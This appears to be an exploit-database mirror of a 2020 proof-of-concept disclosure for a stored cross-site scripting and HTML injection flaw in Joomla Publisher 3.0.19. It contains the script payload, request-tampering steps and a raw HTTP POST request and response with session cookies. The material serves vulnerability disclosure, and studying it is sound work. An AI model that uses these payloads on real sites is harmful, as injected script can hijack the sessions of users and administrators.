Lucene search
K

Joomla Publisher 3.0.19 Cross Site Scripting

🗓️ 03 Nov 2020 00:00:00Reported by Vincent666 ibn WinnieType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 445 Views

Joomla Publisher V 3.0.19 Stored XSS & HTML Injectio

Code
`# Exploit Title: Joomla Publisher V 3.0.19 Stored XSS  
# Date: 03.11.2020  
# Author: Vincent666 ibn Winnie  
# Software Link: https://publisher.ijoomla.com/demo  
# Tested on: Windows 10  
# Web Browser: Mozilla Firefox  
# Blog : https://pentest.vincent.blogspot.com/  
# PoC: https://pentestvincent.blogspot.com/2020/11/joomla-publisher-v-3019-stored-xss.html  
  
Poc:  
  
We have stored xss and stored html injection in Publisher v 3.0.19.  
  
I put there is one interesting method in the body "Article" with Method Post.  
  
Create article and put simple xss code :  
  
""><script>alert("Hello")</script>  
  
And click "submit article".  
  
XSS code is works..  
  
https://ijoomlademo.com/administrator/index.php?option=com_publisher&controller=articles  
  
https://imgur.com/a/ylpLcJV  
  
https://imgur.com/a/XHNHp4c  
  
But it doesn't work in preview mode.  
  
https://imgur.com/a/1BG07Mn  
  
The administrator can check articles in preview mode. What do we do?  
  
Let's use the addon in the firefox "HTTP Live Headers" and change our  
article with the Post Method.  
  
""><script>alert("Hello")</script><body  
background="https://pbs.twimg.com/media/D_dG89lXkAAU8P4.png">  
  
Open Http Live Headers, Edit Article, Save this and Change Post  
Request and send this.  
  
https://imgur.com/a/ogpYEGf  
  
Let's see what we have in preview mode.  
  
https://imgur.com/a/QvQZNNw  
  
https://imgur.com/a/Vzjxfpd  
  
  
..................................................................................  
https://ijoomlademo.com/index.php/publisher/my-articles/articlesedit/core_joomla/32  
  
Host: ijoomlademo.com  
  
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:82.0)  
Gecko/20100101 Firefox/82.0  
  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8  
  
Accept-Language: ru-RU,ru;q=0.8,en-US;q=0.5,en;q=0.3  
  
Accept-Encoding: gzip, deflate, br  
  
Content-Type: application/x-www-form-urlencoded  
  
Content-Length: 341  
  
Origin: https://ijoomlademo.com  
  
Connection: keep-alive  
  
Referer: https://ijoomlademo.com/index.php/publisher/my-articles/articlesedit/core_joomla/32  
  
Cookie: __cfduid=dbbb4e38c58b733c11296ba0adf86aee61604442214;  
c1095a90cabfb304b8e3637676e86d5a=91ionv40vq50bcapv23954o6kn;  
4681557252fe8ff3df4a28d60cb41dc7=lpulqnuggmo1p7cs806stm6t5s;  
joomla_user_state=logged_in;  
currentURI=https%3A%2F%2Fijoomlademo.com%2Findex.php%3Foption%3Dcom_community%26view%3Dfriends%26task%3DajaxAutocomplete%26allfriends%3D1  
  
Upgrade-Insecure-Requests: 1  
  
title=test&heading=test&cat_id=8&content=<p>""><script>alert("Hello")</script><br></p>&id=32&controller=articlesedit&option=com_publisher&editor_name=&task=store&authid=231&media=&type=core_joomla&article_id=28&mandatory_status=approved&article_status=1&edit_a=1&edit_s=approved  
  
POST: HTTP/2.0 303 See Other  
  
date: Tue, 03 Nov 2020 22:32:40 GMT  
  
content-type: text/html; charset=utf-8  
  
x-powered-by: PHP/7.2.33  
  
p3p: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM"  
  
location: /index.php/publisher/my-articles/articlesedit/32  
  
expires: Wed, 17 Aug 2005 00:00:00 GMT  
  
last-modified: Tue, 03 Nov 2020 22:32:40 GMT  
  
cache-control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0  
  
pragma: no-cache  
  
cf-cache-status: DYNAMIC  
  
cf-request-id: 0631d6bb1e00000057b093c000000001  
  
expect-ct: max-age=604800,  
report-uri="https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct"  
  
report-to: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report?s=4BKJ9XaQXZogqrRC4jLDlbWNJ3lklLos6kkmngfBver4wHRDvpbqrVk89c6FtvKZHPe8wAmywNqRUdxp2zDfVbi9ajV4PStFG5DOdB7MvvA%3D"}],"group":"cf-nel","max_age":604800}  
  
nel: {"report_to":"cf-nel","max_age":604800}  
  
server: cloudflare  
  
cf-ray: 5ec98d71cf160057-DME  
  
X-Firefox-Spdy: h2  
  
..................................................................................  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation